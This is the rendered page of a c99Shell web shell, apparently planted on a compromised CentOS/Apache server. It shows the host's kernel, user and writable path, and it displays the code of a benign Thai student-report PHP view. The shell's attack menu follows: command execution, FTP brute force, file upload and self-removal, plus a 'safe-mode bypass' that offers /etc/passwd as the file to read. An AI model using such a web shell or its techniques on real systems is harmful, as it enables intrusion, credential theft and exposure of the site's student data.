!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/eregis/   drwxrwxrwx
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_rptRis.php (3.54 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<table width="100%" align="center">
    <tr>
        <td>
            <div align="center">
<?php
            
if(!isset($errMs)) {
?>
            <table width="100%" border="0">
                <tr>
                    <td height="22" colspan="2" align="right"><font size="2" color="<?=$font_color_err?>">ส่งออกเป็น</font>
                    <a onClick="document.printReport.submit();" class="hand"><img src="<?php echo base_url().$this->config->item("rg_excel_exp");?>" border="0"></a></td>
                </tr>
                <tr>
                    <td colspan="2" align="center"><span class="h error">รายชื่อสถานะนักศึกษาตามหลักสูตร</span></td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
                <tr>
                    <td height="22" colspan="2"><font size="2"><b>หลักสูตร</b> <?=$qu_cur->curName;?></font></td>
                </tr>
                <tr>
                    <td colspan="2"><table class="headCol">
                        <tr bgcolor="<?=$this->config->item("rg_table_color");?>">
                            <th class="seqCol"><font size="2" color="<?=$font_color_table?>"><b>ที่</b></font></th>
                            <th><font size="2" color="<?=$font_color_table?>"><b>รหัสนักศึกษา</b></font></th>
                            <th><font size="2" color="<?=$font_color_table?>"><b>ชื่อ-สกุล</b></font></th>
                            <th><font size="2" color="<?=$font_color_table?>"><b>ชั้นปี</b></font></th>
                            <th><font size="2" color="<?=$font_color_table?>"><b>สถานะนักศึกษา</b></font></th>
                            <th><font size="2" color="<?=$font_color_table?>"><b>หมายเหตุ</b></font></th>
                        </tr>
<?php
                    $i 
0;
                    if(
$rs_std->num_rows()) {
                        foreach(
$rs_std->result() as $row) {
                            echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                            <td height="22" align="center"><font size="2"><?php echo $i+1;?></font></td>
                            <td align="center"><font size="2"><?=$row->stdCode;?></font></td>
                            <td class="indent"><font size="2"><?=$row->prefixName.$row->stdName.' '.$row->stdSurname;?></font></td>
                            <td align="center"><font size="2"><?=$row->stdSyId;?></font></td>
                            <td align="center"><font size="2"><?=$row->sstName;?></font></td>
                            <td></td>
                        </tr>
<?php
                            $i
++;
                        }
                    }else{
?>
                        <tr><td colspan='6' align="center"><span class="error"> ** ไม่ปรากฏรายการในฐานข้อมูล ** </span></td></tr>
<?php
                    
}
?>
                    </table></td>
                </tr>
                <tr>
                    <td align="right"><font size="2">รวม <?=$rs_std->num_rows();?> รายการ</font></td>
                </tr>
                <tr>
                    <td colspan="2">
<?php
                    $attributes 
= array('name' => 'printReport''id' => 'printReport');
                    echo 
form_open($this->config->item("rg_folder")."rpt_student/ris",$attributes);
?>
                    <input type="hidden" name="curId" id="curId" value="<?=$curId;?>">
                    <input type="hidden" name="stdAdY" value="<?=$stdAdY;?>">
                    <input type="hidden" name="syId" value="<?=$syId;?>">
                    <input type="hidden" name="stStatus" value="<?=$stStatus;?>">
<?php
                    $k
=0;
                    foreach(
$fieldNames as $val) {
?>
                    <input type="hidden" name="fieldNames<?=$k;?>" id="fieldNames<?=$k;?>" value="<?=$val;?>">
<?php
                    $k
++;
                    }
?>
                    <input type="hidden" name="cntFieldNames" id="cntFieldNames" value="<?=$k;?>"></td>
                </tr>
<?php
                    
echo form_close();
?>
            </table>
<?php
            
}//end if(!isset($errMs))
            
else {
                echo 
"<font size='3' color='".$font_color_err."'><b>ระบุเงื่อนไขไม่ครบถ้วน</b></font>";
            }
?>
            </div><br>
        </td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0068 ]--